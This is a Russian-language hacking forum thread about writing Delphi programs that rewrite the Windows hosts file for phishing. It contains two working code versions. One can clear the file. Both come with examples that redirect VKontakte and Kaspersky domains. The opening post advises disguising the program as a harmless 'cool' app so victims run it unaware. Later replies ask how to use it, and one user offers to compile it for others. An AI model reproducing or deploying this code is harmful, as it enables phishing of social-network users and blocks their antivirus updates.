Редактируем HOSTS под фишинг

Discussion in 'Социальные сети' started by Sokolik, 10 Jan 2010.

  1. Sokolik

    Sokolik Banned

    Joined:
    5 Mar 2009
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0
    Прочитал тему, в ней выложен билдер батников для редактирование хостс. Если кто хочет может сделать на дельфи тоже самое на свой вкус, чтобы не париться со склейкой батника.

    Пишем процедуру:

    procedure wHosts(s:string);
    var
    SysdirP: PChar;
    hFile: THandle;
    nw: dword;
    b: byte;
    begin
    SysDirP := StrAlloc(MAX_PATH);
    GetSystemDirectory(SysDirP, MAX_PATH);
    lstrcat(SysDirP, '\drivers\etc\hosts');
    hFile := CreateFile(SysDirP, GENERIC_WRITE, FILE_SHARE_WRITE, nil, OPEN_EXISTING, 0, 0);
    SetFilePointer(hFile, 0, nil, FILE_END);
    b:=13;
    WriteFile(hFile, b, 1, nw, nil);
    b:=10;
    WriteFile(hFile, b, 1, nw, nil);
    WriteFile(hFile, PAnsiChar(s)^, length(s), nw, nil);
    CloseHandle(hFile);
    end;


    Применение:

    procedure TForm1.FormCreate(Sender: TObject);
    begin
    wHosts('127.0.0.1 www.vkontakte.ru');
    wHosts('127.0.0.1 vkontakte.ru');
    wHosts('127.0.0.1 www.vk.com');
    wHosts('127.0.0.1 vk.com');
    wHosts('127.0.0.1 www.kaspersky.ru');
    wHosts('127.0.0.1 kaspersky.ru');
    end;


    Чтобы было без палева можно сделать под видом кульной проги, думаю с дельфи из форумчан много кто знаком.

    Сорц
     
  2. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,186
    Likes Received:
    618
    Reputations:
    690
    Вот эт норм теперь не будут барыжничать host билдером ) или будут ? )
     
    _________________________
  3. DarkByte

    DarkByte New Member

    Joined:
    27 Feb 2008
    Messages:
    0
    Likes Received:
    3
    Reputations:
    5
    А не проще ли было через assign, append/rewrite, writeln, close?
     
  4. Sokolik

    Sokolik Banned

    Joined:
    5 Mar 2009
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0
    Выложи свой пример, меня и мой устраивает!
     
  5. DarkByte

    DarkByte New Member

    Joined:
    27 Feb 2008
    Messages:
    0
    Likes Received:
    3
    Reputations:
    5
    Code:
    procedure toHosts(s:string; clear: boolean=false);
    var
      SysDir: string;
      f: TextFile;
    begin
      SetLength(SysDir,MAX_PATH);
      GetSystemDirectory(PCHar(SysDir), MAX_PATH);
      if SysDir<>'' then begin
        SetLength(SysDir,pos(#0,SysDir)-1);
        SysDir:=SysDir+'\drivers\etc\hosts';
        assign(f,SysDir);
        if clear or (not FileExists(SysDir)) then rewrite(f) else append(f);
        writeln(f,s);
        close(f);
      end;
    end;
    
    Пример использования
    Code:
    begin
      toHosts('127.0.0.1 www.vkontakte.ru',true);
      toHosts('127.0.0.1 vkontakte.ru');
      toHosts('127.0.0.1 www.vk.com');
      toHosts('127.0.0.1 vk.com');
    end;
    
    В первом вызове toHosts вторым параметром указывается true, для того, чтобы очистить файл hosts.
     
  6. Шухер

    Шухер New Member

    Joined:
    13 Dec 2009
    Messages:
    10
    Likes Received:
    1
    Reputations:
    0
    кто расскажет как юзать данную вещь? :)
     
  7. 22Striker22

    22Striker22 New Member

    Joined:
    26 Jul 2009
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Паскалевские ехешники не на всех ОС работать будут (Вин7, ХР 64).
     
  8. 22Striker22

    22Striker22 New Member

    Joined:
    26 Jul 2009
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Скачиваешь, запускаешь и радуешься.
     
  9. DarkByte

    DarkByte New Member

    Joined:
    27 Feb 2008
    Messages:
    0
    Likes Received:
    3
    Reputations:
    5
    Да неужели? Странно, а у меня работают. assign это обёртка над CreateFile, если речь об этом.
     
  10. Wh1Te

    Wh1Te New Member

    Joined:
    24 Jul 2008
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    За бутылочку пива кто сможет помочь?
     
  11. Sokolik

    Sokolik Banned

    Joined:
    5 Mar 2009
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0
    Тебе скомпилить надо чтоли? В асю стукни: 117845
     
  12. xxxBARTONxxx

    xxxBARTONxxx New Member

    Joined:
    11 Oct 2009
    Messages:
    36
    Likes Received:
    1
    Reputations:
    -5
    подскажите пожалуйста, как батником сделать удаление определенных строк из hosts =)
     
  13. Sokolik

    Sokolik Banned

    Joined:
    5 Mar 2009
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0
    delete
     
    #13 Sokolik, 7 Feb 2010
    Last edited: 7 Feb 2010
  14. xxxBARTONxxx

    xxxBARTONxxx New Member

    Joined:
    11 Oct 2009
    Messages:
    36
    Likes Received:
    1
    Reputations:
    -5
    спасибо большое, по пробую =)